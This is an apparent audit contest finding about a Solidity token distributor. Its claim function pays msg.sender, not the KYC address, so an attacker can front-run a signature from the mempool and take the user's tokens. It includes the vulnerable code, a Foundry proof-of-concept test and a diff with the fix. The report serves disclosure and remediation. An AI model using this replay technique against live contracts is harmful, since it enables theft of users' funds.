Fantastic Wintergreen Tapir

High

# Incorrect Parameter in `safeTransferFrom(...)` May Result in Theft of User's Claim Amount

### Summary

The `VVVVCTokenDistributor::claim(...)` function incorrectly uses `msg.sender` instead of the KYC address to transfer tokens. This allows anyone to exploit a user's signature from the mempool and claim tokens on their behalf.

### Root Cause

The function uses `msg.sender` instead of `_params.kycAddress` when transferring tokens:

```solidity
 function claim(ClaimParams memory _params) public {
        if (claimIsPaused) {
            revert ClaimIsPaused();
        }

        if (_params.projectTokenProxyWallets.length != _params.tokenAmountsToClaim.length) {
            revert ArrayLengthMismatch();
        }

        if (_params.nonce <= nonces[_params.kycAddress]) {
            revert InvalidNonce();
        }

        if (!_isSignatureValid(_params)) {
            revert InvalidSignature();
        }

        // update nonce
        nonces[_params.kycAddress] = _params.nonce;

        // define token to transfer
        IERC20 projectToken = IERC20(_params.projectTokenAddress);

        // transfer tokens from each wallet to the caller
        for (uint256 i = 0; i < _params.projectTokenProxyWallets.length; i++) {
            projectToken.safeTransferFrom(
                _params.projectTokenProxyWallets[i],
 @>               msg.sender,
                _params.tokenAmountsToClaim[i]
            );
        }

        emit VCClaim(
            _params.kycAddress,
            _params.projectTokenAddress,
            _params.projectTokenProxyWallets,
            _params.tokenAmountsToClaim,
            _params.nonce
        );
    }
```

GitHub: [Link](https://github.com/sherlock-audit/2024-11-vvv-exchange-update/blob/main/vvv-platform-smart-contracts/contracts/vc/VVVVCTokenDistributor.sol#L133)

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

_No response_

### Impact

The users will lose all of their claim.

### PoC

```solidity
    function test_anyoneCanCallClaimAndStealTheTokensByStealingSignature() public {
        address bob = makeAddr("bob");
        address[] memory thisProjectTokenProxyWallets = new address[](1);
        uint256[] memory thisTokenAmountsToClaim = new uint256[](1);

        thisProjectTokenProxyWallets[0] = projectTokenProxyWallets[0];

        uint256 claimAmount = sampleTokenAmountsToClaim[0];
        thisTokenAmountsToClaim[0] = claimAmount;

        VVVVCTokenDistributor.ClaimParams memory claimParams =
            generateClaimParamsWithSignature(sampleKycAddress, thisProjectTokenProxyWallets, thisTokenAmountsToClaim);

        vm.startPrank(bob);
        TokenDistributorInstance.claim(claimParams);
        assertTrue(ProjectTokenInstance.balanceOf(sampleKycAddress) == 0);
        assertTrue(ProjectTokenInstance.balanceOf(bob) == claimAmount);
    }
```

### Mitigation

use `_params.kycAddress` instead of `msg.sender`.

```diff
 function claim(ClaimParams memory _params) public {
        
        ...


        // transfer tokens from each wallet to the caller
        for (uint256 i = 0; i < _params.projectTokenProxyWallets.length; i++) {
            projectToken.safeTransferFrom(
                _params.projectTokenProxyWallets[i],
-               msg.sender,
+              _params.kycAddress,
                _params.tokenAmountsToClaim[i]
            );
        }

        emit VCClaim(
            _params.kycAddress,
            _params.projectTokenAddress,
            _params.projectTokenProxyWallets,
            _params.tokenAmountsToClaim,
            _params.nonce
        );
    }

```